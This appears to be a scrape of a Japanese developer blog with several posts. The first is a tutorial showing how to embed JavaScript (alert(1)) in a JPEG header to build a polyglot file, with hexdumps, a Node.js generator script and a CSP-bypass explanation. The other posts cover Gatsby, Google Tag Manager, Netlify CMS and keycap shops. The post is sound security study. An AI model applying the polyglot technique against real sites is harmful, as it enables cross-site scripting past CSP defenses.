JPEG画像にJavaScriptのコードを埋め込む手法が紹介されていたので試してみました。  
今回は次の画像に対してコードの埋め込んでみます。

<img src="/images/posts/inject-jpeg-js/donarudo.jpg" alt="埋め込み画像" width="258" height="300" />

## 注意

この記事は攻撃方法を知ることでセキュリティを学ぶことを前提としており、実験も仮想環境上で実行しています。  
決して外部サイトに対して実行しないようにしてください。

## 画像のバイナリを見てみる

今回試す方法は画像のバイナリを変更してコードを埋め込んでいます。  
そこで、最初は画像のバイナリを確認してみます。

```shell
$ hexdump -C donarudo.jpg | head -n 5
00000000  ff d8 ff e0 00 10 4a 46  49 46 00 01 01 00 00 01  |......JFIF......|
00000010  00 01 00 00 ff e1 00 6c  45 78 69 66 00 00 49 49  |.......lExif..II|
00000020  2a 00 08 00 00 00 03 00  31 01 02 00 07 00 00 00  |*.......1.......|
00000030  32 00 00 00 12 02 03 00  02 00 00 00 02 00 02 00  |2...............|
00000040  69 87 04 00 01 00 00 00  3a 00 00 00 00 00 00 00  |i.......:.......|

$ hexdump -C donarudo.jpg | tail -n 3
000038f0  99 e8 80 e7 8a 5a 68 a7  57 de a3 e7 02 8a 28 a6  |.....Zh.W.....(.|
00003900  01 45 14 50 01 45 14 50  07 ff d9                 |.E.P.E.P...|
0000390b
```

先頭の2バイト **FF D8** はSOIマーカーと呼ばれ、JPEGフォーマットの開始を表しています。  
次の2バイト **FF E0** はセグメントの種類を表しており、次の2バイトの **00 10** がセグメントの長さを示していて
10進数で 16 なので、**00 10** を含む16バイト分（**FF E1** の手前まで) がセグメントであるのが分かります。  
最後の **FF D9** はEOIマーカーと呼ばれ、JPEGフォーマットの終了を表しています。

今回はこのセグメント内に `alert(1)` のjsコードを埋め込んでいきます。16進数のバイナリ表現は次のように取得できます。

```javascript
$ node
> 'alert(1);'.split('').map(i => i.charCodeAt(0).toString(16)).join('')
'616c6572742831293b'
```

## jsコードを埋め込む

↓がバイナリを変更して、jsコードを埋め込んでみた様子です。  

```shell
$ hexdump -C donarudo_01.jpg | head -n 5
00000000  ff d8 ff e0 00 10 4a 46  49 46 00 61 6c 65 72 74  |......JFIF.alert|
00000010  28 31 29 00 ff e1 00 6c  45 78 69 66 00 00 49 49  |(1)....lExif..II|
00000020  2a 00 08 00 00 00 03 00  31 01 02 00 07 00 00 00  |*.......1.......|
00000030  32 00 00 00 12 02 03 00  02 00 00 00 02 00 02 00  |2...............|
00000040  69 87 04 00 01 00 00 00  3a 00 00 00 00 00 00 00  |i.......:.......|
```

このままjsのコードとして読み込んでも、無効な文字列を含んでおりjsの読み込みでエラーが発生します。  
jsは `/*....*/` で囲む事でコメントとしてコードを無視することが出来るので、それを利用して画像データの部分をコメントアウトして、jsとして有効なコードであるように偽装する事が可能です。

```shell
$ hexdump -C bad-donarudo.jpg | head -n 6
00000000  ff d8 ff e0 2f 2a 4a 46  49 46 00 01 01 00 00 01  |..../*JFIF......|
00000010  00 01 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00002f20  2a 2f 3d 61 6c 65 72 74  28 31 29 3b 2f 2a ff e1  |*/=alert(1);/*..|
00002f30  00 6c 45 78 69 66 00 00  49 49 2a 00 08 00 00 00  |.lExif..II*.....|

$ hexdump -C bad-donarudo.jpg | tail -n 3
00006810  68 a7 57 de a3 e7 02 8a  28 a6 01 45 14 50 01 45  |h.W.....(..E.P.E|
00006820  14 50 07 ff d9 2a 2f ff  d9                       |.P...*/..|
00006829
```

実際にコメントアウトの対応をしてjsコードを埋め込んだ画像のバイナリがこんな感じです。

先頭の4バイト **FF D8 FF E0** は有効な非ASCII文字のJavaScript変数になります。次の **2F 2A** がセグメントの始まりで、セグメントの部分を `/*.../*` でコメントアウトしています。 次に、`=` を差し込み変数代入とすることで、先頭の4バイトを変数として扱い有効な文字列としています。続いて `alert(1);` を実行コードとして差し込んでいます。その後、`/*...*/` で残りのJEPG画像データの部分をコメントアウトしています。

また、セグメント開始の **2F 2A** はセグメント長を表現しており、10進数で 12074 なので、セグメント長を合わせるために、12074 - 16 - 14 = 12044バイト をヌルバイト（**00**）で埋めています。

本来のセグメント部分:  
`2F 2A 4A 46 49 46 00 01 01 00 00 01 00 00 00 10 00 01` の16バイト  

埋め込みjsコード部分:  
`*/alert(1);/*` => `2a2f3d616c6572742831293b2f2a` 14バイト

有効なjsコードの部分だけを表現すると次のようになります。

```js
<有効な非アスキー文字>=alert(1);
```

このjsコードの埋め込みは次のプログラムで実現できます。

```js
const fs = require('fs');

const image = fs.readFileSync('donarudo.jpg');
const hex = image.toString('hex');
const soi = hex.substr(0,8);
const commentStart = '2f2a'; // /*
const header = hex.substr(12,28);
const nullBytes = Array(12044).fill('00').join('');
const code = `*/=alert(1);/*`.split('').map(e => e.charCodeAt(0).toString(16)).join('');
const payload = hex.substr(40, hex.length - 4);
const commentEnd = '2a2f'; // */
const eoi = hex.substr(hex.length - 4);
const injectedJsJpeg = soi + commentStart + header + nullBytes + code + payload + commentEnd + eoi;
const hexBinary = new Buffer(injectedJsJpeg, 'hex');

fs.writeFileSync('bad-donarudo.jpg', hexBinary);
```

## JPEG画像を読み込んでみる

jsを埋め込んだ画像を読み込んでみます。

```html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
</head>
<body>
    <img src="bad-donarudo.jpg"/>
    <script src="bad-donarudo.jpg"></script>
</body>
</html>
```

<img src="/images/posts/inject-jpeg-js/donarudo-xss.png" alt="JavaScriptを埋め込んだ画像" width="735" height="453" />

正常に画像は表示されて、jsファイルとしても読み込む事ができました！  
Chromeでは対策済みでアラートが表示されず、IE11でアラートの表示が確認できました。

実現可能なブラウザは限られますが、日本国内ではまだまだIE11の利用ユーザーは多いので無視できない手法です。

## 攻撃の使われ方

これで簡単にXSSが出来るのかなと思ったのですが、<img>タグで読み込んだ場合はあくまで画像として処理されるので、コードが実行されることはありません。  
あくまで、攻撃対象のサイト上で \<script>タグで画像を読み込ませる必要があります。  

ではこの手法がどのような攻撃に利用されるかというと、**[コンテンツセキュリティポリシー（CSP）](https://developer.mozilla.org/ja/docs/Web/HTTP/CSP)のバイパス** に利用されます。  
CSPが有効になっているWebサイトでは別ドメインからのjsファイルの読み込みやインラインスクリプトの実行がブロックされます。そのため、\<script>タグを埋め込む事ができてもXSSを防ぐ事が可能になります。

しかし、Webサイトに画像アップロードが機能があった場合に、jsコードを埋め込んだ画像をアップロードして、その画像を読み込むように\<script>タグを埋め込むめば、CSPのセキュリティをくぐり抜けてxssを実現することが可能になります。

```html

<script src="/public/images/xss.jpg"></script>
```


最近はS3などにアップロードした画像が配置されるパターンが多く、その場合は画像読み込みがCSPのポリシー対象である外部ドメインとなるので、利用できる状況はかなり限定的なのかな？と思います。

## 参考文献
* [Hiding JavaScript in Picture Files for XSS](https://www.youtube.com/watch?v=memPcI94YGA)
* [Hiding JS in a JPEG header.](https://medium.com/@codedbrain/hiding-js-in-a-jpeg-header-454386f9e20)
* [Bypassing CSP using polyglot JPEGs](https://portswigger.net/research/bypassing-csp-using-polyglot-jpegs)
* [Content Security Policyについて語る](http://www.nowhere.co.jp/blog/archives/20190315-080010.html)
* [JPEGファイルの構造](https://hp.vector.co.jp/authors/VA032610/JPEGFormat/StructureOfJPEG.htm)

JPEG画像にJavaScriptのコードを埋め込んでみる

アクセス解析をするためにブログにGoogleアナリティクスを導入しました。\
今後イベント取得の度に、リリースをするのは面倒なので、Googleタグマネージャーを設定して、アナリティクスの計測を設定しています。

今回はGatsby製のブログにGoogleタグマネージャーを設定する方法をまとめておきます。

## Googleタグマネージャーのコンテナ作成

最初にGoogleタグマネージャーのコンテナを作成しておきます。

<img src="/images/posts/gatsbyjs-gtm/gtm-container-new.png" alt="コンテナの作成" width="714" height="619" />

## Googleアナリティクスの設定

管理 > +プロパティを作成 から新たに計測用のプロパティを作成しておきます。

## プラグインの追加

### gatsby-plugin-google-tagmanager

[gatsby-plugin-google-tagmanager](https://www.gatsbyjs.org/packages/gatsby-plugin-google-tagmanager/) を利用してGoogleタグマネージャーをページに埋め込みます。  
（\<head>タグに直接\<script>タグを埋め込む方法がが分からず、公式のプラグインがあったので利用しました。）

### インストール

```bash
$ yarn add gatsby-plugin-google-tagmanager
```

gastby-config.js にプラグインの設定を追記します。

```javascript
{
  resolve: `gatsby-plugin-google-tagmanager`,
  options: {
    id: `GTM-5MKNQWX`,

    // Include GTM in development.
    // Defaults to false meaning GTM will only be loaded in production.
    includeInDevelopment: false,

    // datalayer to be set before GTM is loaded
    // should be an object or a function that is executed in the browser
    // Defaults to null
    defaultDataLayer: { platform: "gatsby" },

    // Specify optional GTM environment details.
    gtmAuth: "xNwDtuXDGlgZTO1P8TF2cg",
    gtmPreview: "env-1",
    dataLayerName: 'dataLayer',
  }
}
```

設定する値は 管理 > Live（公開中）> コードを取得 の埋め込みコードから確認することができます。

<img src="/images/posts/gatsbyjs-gtm/gtm-script.png" alt="Googleタグマネージャーの埋め込みコード" width="1171" height="368" />

## Googleタグマネージャーの設定

### トリガーの作成

GatsbyJSはSPAでCSRで動作するため、変更の履歴をトリガーとして作成しておきます。

### 変数の作成

GAのトラッキングIDを設定した Googleアナリティクス設定 を変数として設定します。

<img src="/images/posts/gatsbyjs-gtm/gtm-ga-variable.png" alt="Googleアナリティクスの変数を作成" width="720" height="290" />

### タグの作成

Googleアナリティクスにページビューを送信するタグを作成します。

Googleアナリティクスの設定には上で作成した変数を指定し、トリガーには「ページビュー」と「履歴の変更」の2つを設定しました。

初回のページ読み込みもトリガーさせるために、「ページビュー」も指定しています。

<img src="/images/posts/gatsbyjs-gtm/gtm-tag.png" alt="タグの作成" width="731" height="384" />

## リリース前の確認

Googleタグマネージャーのプレビューモードを利用すれば、ローカルで埋め込みが正常に出来ているか確認できます。  

ワークスペース > プレビュー をクリックしてプレビューモードにした後に、ローカルで ページを表示します。

その際は次の設定を true に変更しておく必要があります。

```javascript
// Include GTM in development.
// Defaults to false meaning GTM will only be loaded in production.
includeInDevelopment: true,
```

ワークスペース > プレビュー をクリックしてプレビューモードにした後に、ローカルでサーバーを立ち上げてページを表示します。

正常にタグが埋め込まれている場合は、ローカルで表示したページ下部にGoogleタグマネージャーのプレビュー画面が表示されます。

## リリース

以上の設定を終えたら、Googleタグマネージャーの公開 と プラグイン追加の変更を本番環境にリリースすれば導入は完了です。

## おまけ

自分のアクセスを計測対象外とするために [Google Analytics オプトアウト アドオン (by Google)](https://chrome.google.com/webstore/detail/google-analytics-opt-out/fllaojicojecljbmefodhfapmkghcbnh) を利用しています。  
「ga.jsと連携して...」と書いてありますが、Googleタグマネージャーを経由する場合でも正常に動作してくれました。


Gatsby製のブログにGoogleタグマネージャー経由でGoogleアナリティクスを導入する

[gatsbyjs/gatsby-starter-blog](https://github.com/gatsbyjs/gatsby-starter-blog) で作成したブログはデフォルトの状態ではコードのシンタックハイライトが無く非常に見辛いです。
プラグインを設定してシンタックハイライトを導入します

## プラグインの導入
gatsby-starter-blog には最初から [gatsby-remark-prismjs](https://gatsbyjs.org/packages/gatsby-remark-prismjs) がプラグインとしてインストールされています。
そのため、新たにプラグインをインストールする必要はなく、ハイライトのcss読み込み設定を修正するだけでシンタックハイライトを有効化できます。

```js
    {
      resolve: `gatsby-transformer-remark`,
      options: {
        plugins: [
          {
            resolve: `gatsby-remark-images`,
            options: {
              maxWidth: 590,
            },
          },
          {
            resolve: `gatsby-remark-responsive-iframe`,
            options: {
              wrapperStyle: `margin-bottom: 1.0725rem`,
            },
          },
          `gatsby-remark-prismjs`,
          `gatsby-remark-copy-linked-files`,
          `gatsby-remark-smartypants`,
        ],
      },    {
      resolve: `gatsby-transformer-remark`,
      options: {
        plugins: [
          {
            resolve: `gatsby-remark-images`,
            options: {
              maxWidth: 590,
            },
          },
          {
            resolve: `gatsby-remark-responsive-iframe`,
            options: {
              wrapperStyle: `margin-bottom: 1.0725rem`,
            },
          },
          `gatsby-remark-prismjs`,  // 初期状態でインストール済み
          `gatsby-remark-copy-linked-files`,
          `gatsby-remark-smartypants`,
        ],
      },
```

### CSSの読み込み設定
gatsby-browser.jsにて prismjs のテーマのCSS読み込みを追記します。  
デフォルトで利用できるテーマの一覧は [PrismJS/prism/themes](https://github.com/PrismJS/prism/tree/1d5047df37aacc900f8270b1c6215028f6988eb1/themes) で確認できます。

```js
import "prismjs/themes/prism-tomorrow.css"
```

## シンタックハイライトを利用
pre記法に言語タグを指定することでシンタックハイライトを利用できます。  
利用可能な言語タグの一覧は [prismjs](https://prismjs.com/#supported-languages) の公式ページに記載してあります。

~~~js
```js
console.log('シンタックハイライトだよ')
```
~~~


gatsby-starter-blogでコードのシンタックスハイライトを設定

通販でキーキャップを購入する時に見たショップの一覧をまとめました。

## 国内

### 遊舎工房
国内でも有名なキーボード専門ショップです。自作キーボード周りで何か購入したい場合は、とりあえずここのショップを見るが早い気がする。

[https://yushakobo.jp/product-category/keycaps/](https://yushakobo.jp/product-category/keycaps/)

### TALP KEYBOARD
DSAプロファイルやXDAプロファイルのキーキャップがバラ売りされてた。

[https://talpkeyboard.stores.jp/?category_id=59be183f428f2d49120007b1](https://talpkeyboard.stores.jp/?category_id=59be183f428f2d49120007b1)

### ゆかりキーボードファクトリー
Tai-Hao というメーカーのキーキャップをメインに取り扱っていた。

[https://eucalyn.shop/keycaps/](https://eucalyn.shop/keycaps/)

## 国外

### AliExpress
アリババグループにより運営されている大手ECサイトで、見た中で取り扱っている種類が一番多かった気がします。「キーキャップ dsa」とかで検索したら、プロファイルを絞って検索できるのが良かった。ただ、OEMプロファイルのキーキャップも検索結果に含まれていたので、検索結果を鵜呑みにせず商品説明とかで、プロファイルは確認しましょう。

[https://ja.aliexpress.com/wholesale?catId=0&initiative_id=SB_20210125042416&SearchText=キーキャップ](https://ja.aliexpress.com/wholesale?catId=0&initiative_id=SB_20210125042416&SearchText=%E3%82%AD%E3%83%BC%E3%82%AD%E3%83%A3%E3%83%83%E3%83%97)

### Tai-Hao Shop
台湾のキーボードメーカー Tai-Hao の公式通販ショップ。カラフルなキーキャップが多いイメージがあり、バックライト対応のキーキャップがカテゴリー分けされて販売されていたのが良かった。  
取り扱いされている商品を全て見ていないが、OEMプロファイルが多い印象だった。

[https://shop.tai-hao.com/categories/backlit-keycaps](https://shop.tai-hao.com/categories/backlit-keycaps)

### zFrontier
共同購入ができる海外のショップ。共同購入は、発送まで数ヶ月と時間が要したり募集定員に満たない場合は生産されない可能性があるので、すぐに購入したい場合は難しそうだった。  

種類は少ないが、すぐに購入ができる IN STOCK 商品もあった。

[https://en.zfrontier.com/collections/keysets](https://en.zfrontier.com/collections/keysets)


### DROP
取り扱いが多かった。欲しいプロファイルで絞り込みたい場合は、「cherry keycap」などで検索すると良い。

[https://drop.com/mechanical-keyboards/wdrops?subcategory=keycaps](https://drop.com/mechanical-keyboards/wdrops?subcategory=keycaps)

通販でキーキャップを購入する時に見たショップの一覧をまとめました。

キーキャップを通販で購入する

## Netfify CMSとは？

任意の静的サイトジェネレーターと組み合わせて利用可能なNetlifyが提供するCMSツールです。\
テキスト編集やプレビュー機能、画像アップロードなどの機能をWebベースのUIとして提供してくれます。\
また、GitHubのAPIを内部で利用しており、管理画面上で記事作成 => githubにpush => netlifyにデプロイ のフローを自動で実施してくれます。

## GastbyJSのテンプレートからブログを作成

立ち上げるブログが無いと何も始まりません。

最初に GatbyJS の [gatsbyjs/gatsby-starter-blog](https://github.com/gatsbyjs/gatsby-starter-blog) を利用してテンプレートからブログを作成します。

```shell
$ yarn add global gatsby-cli
$ gatsby new blog https://github.com/gatsbyjs/gatsby-starter-blog
```

たった2行でブログの作成が完了しました！\
デザインの修正とかやりだすと、やる事が増えて結局途中で諦めてしまう可能性がある（自分の性格上そうなる）ので、とりあえず公開する事だけを目標とします。  

デザインとかは後からゆっくり修正していきましょう。

### Netlify CMS をインストール

続いて Netlify CMS をインストールします。

```shell
$ cd blog
$ yarn add netlify-cms-app gatsby-plugin-netlify-cms
```

`static/admin/gatsby-config.yml` ファイルを作成して次の内容を貼り付けます。

```yaml
backend:
  name: git-gateway
  branch: master

media_folder: static/images/uploaded
public_folder: /images/uploaded

collections:
  - name: "blog"
    label: "Blog"
    folder: "content/blog"
    create: true
    slug: "{{year}}-{{month}}-{{day}}-{{slug}}"
    editor:
      preview: true # プレビュー表示を有効化
    publish_mode: editorial_workflow # ワークフロー管理を有効化
    fields:
      - { label: "Title", name: "title", widget: "string" }
      - { label: "Publish Date", name: "date", widget: "datetime" }
      - { label: "Description", name: "description", widget: "string" }
      - { label: "Body", name: "body", widget: "markdown" }
```

画像をアップロードする空ディレクトリを追加します。

```shell
$ mkdir -p static/images/uploaded
$ touch static/images/uploaded/.gitkeep
```

最後に `gatsby-config.js` にプラグインを追記します。

```
plugins: [`gatsby-plugin-netlify-cms`]
```

CMSのインストールはこれだけです。 すごい簡単で感動ですね。

実際にローカル環境で確認してみましょう。

```
$ yarn development
```

http://localhost:8000/admin にアクセスしてCMSのログイン画面が表示されたらOKです。 

ログインするには後述する Netlify の認証設定が必要です。

### ブログを公開する

ここまで来たら、いよいよNetlifyにブログを公開します。

最初にGitHubにリポジトリをデプロイします。

```shell
$ git add .
$ git commit -m "Initial Commit"
$ git remote add origin https://github.com/YOUR_USERNAME/NEW_REPO_NAME.git
$ git push -u origin master
```

続いて Netlify のページ上で `New Site From Git` を選択して手順に沿ってブログを公開します。

ビルド設定は次ように設定します。

```
Build Command: gatsby build
Publish directory: public/
```

<ブログのドメイン名>/admin にアクセスすれば管理画面を表示できます。

<img src="/images/posts/netlify-cms/blog-template.png" alt="テンプレートの画面" width="1930" height="1460" />

テンプレートのままですが、自分のブログが公開されました (*'ω'ﾉﾉﾞ☆ﾊﾟﾁﾊﾟﾁ

## CMSの管理ユーザーの作成

CMSの管理画面にログインするために Netlify の認証設定をして管理ユーザーを作成しましょう。 Netlifyの管理画面から公開したサイトを選択して次の手順に沿ってアカウント作成の作業を進めます。

1. Settings > Identity > Enable Identity を選択
2. Registration preferences > Edit Settings > Invite only を選択 この設定をしないと誰でもアカウントを作成して管理画面にログインできてしまうので、よほどの理由がない限りは設定しておくことをオススメします
3. Services > Git Gateway > Enable Git Gateway をクリック
4. Identityタブに移動 > Invite users をクリック 自分のメールアドレスを指定して自分を管理者として招待 送信された招待メールからアカウントを作成

これでCMSの管理画面にログイン出来るようになりました。

## 記事を投稿する

最後にCMSで最初の記事を投稿していきます。

1. /admin にアクセスして、管理画面にログイン
2. `new blog` をクリック
3. 記事を書いて `Save` をクリック
4. 問題なければ Publish をクリック

以上で記事が公開されます。


GatsbyJS + Netlify CMS でエンジニアブログを立ち上げる

神奈川の田舎で働いてるフロントエンドエンジニアのブログ